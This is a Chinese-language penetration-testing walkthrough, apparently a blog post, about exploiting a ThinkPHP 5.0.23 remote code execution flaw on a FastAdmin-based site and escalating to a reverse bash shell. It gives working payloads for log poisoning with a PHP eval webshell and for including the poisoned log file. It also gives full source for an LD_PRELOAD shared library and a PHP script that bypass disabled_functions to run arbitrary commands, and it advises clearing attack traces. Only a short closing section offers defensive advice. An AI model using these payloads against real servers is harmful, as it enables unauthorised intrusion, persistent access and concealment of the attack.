一次曲折的tp实战,从disabled_func绕过到反弹bash
字数 1073 2025-08-11 17:40:19
ThinkPHP5 RCE漏洞利用与disabled_functions绕过实战教学
1. 漏洞背景与前期信息收集
1.1 目标环境
- 目标系统使用ThinkPHP5框架
- 基于FastAdmin二次开发
- 存在ThinkPHP 5.0.23 RCE漏洞
- 服务器配置了严格的disabled_functions限制
1.2 信息收集要点
- 端口扫描:使用潮汐指纹等在线平台进行非接触式扫描
- CDN检测:确认CDN是否存在及其防护能力
- 框架识别:确认ThinkPHP版本及可能的二次开发情况
- 漏洞验证:使用专用工具验证ThinkPHP 5.0.23 RCE漏洞
2. 初始漏洞利用尝试
2.1 直接命令执行受阻
- 发现所有常见命令执行函数被禁用:
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open, proc_get_status,popen,ini_alter,ini_restore,dl,openlog, syslog,readlink,symlink,popepassthru,stream_socket_server
2.2 日志文件包含攻击
-
写入恶意代码到日志:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=<?php @eval($_POST['123']); ?> -
包含日志文件执行代码:
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202302/3.log&123=phpinfo(); -
绕过open_basedir限制:参考相关技术文章
3. disabled_functions绕过技术
3.1 常见绕过方法概述
- 攻击存在漏洞的后端组件(如ImageMagick、bash等)
- 寻找未禁用的冷门函数(popen/proc_open/pcntl_exec等)
- mod_cgi模式下修改.htaccess绕过限制
- LD_PRELOAD劫持系统函数(本文重点)
3.2 LD_PRELOAD技术原理
- 通过环境变量LD_PRELOAD指定优先加载的共享库
- 劫持程序调用的系统函数(如mail()函数会调用系统库函数)
- 在构造函数中执行恶意代码
3.3 具体实现步骤
3.3.1 编写恶意共享库(bypass_disablefunc.c)
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void){
// 获取命令
const char* cmdline = getenv("EVIL_CMDLINE");
// 清除LD_PRELOAD环境变量
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// 执行命令
system(cmdline);
}
3.3.2 编译共享库
# x64架构编译
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so
# x86架构编译(需添加-m32选项)
gcc -shared -fPIC -m32 bypass_disablefunc.c -o bypass_disablefunc_x86.so
3.3.3 编写PHP利用脚本(bypass_disablefunc.php)
<?php
echo "<p><b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so</p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p><b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p><b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
3.3.4 利用方式
访问URL格式:
http://target/bypass.php?cmd=[命令]&outpath=[输出文件路径]&sopath=[so文件路径]
示例:
http://x.x.x.x/bypass.php?cmd=id&outpath=/tmp/test&sopath=bypass_disablefunc_x64.so
4. 后渗透阶段
4.1 反弹Shell
- 编写反弹Shell脚本
- 通过已上传的WebShell执行该脚本
- 获取交互式Bash会话
4.2 注意事项
- 确保输出目录可写
- 注意文件权限问题
- 清理攻击痕迹
5. 防御建议
5.1 针对系统管理员
- 及时更新框架和组件
- 限制危险函数时考虑全面
- 配置open_basedir限制目录访问
- 监控系统日志和异常行为
5.2 针对开发者
- 避免使用存在已知漏洞的框架版本
- 实施输入过滤和输出编码
- 最小化服务器功能,禁用不必要的服务和函数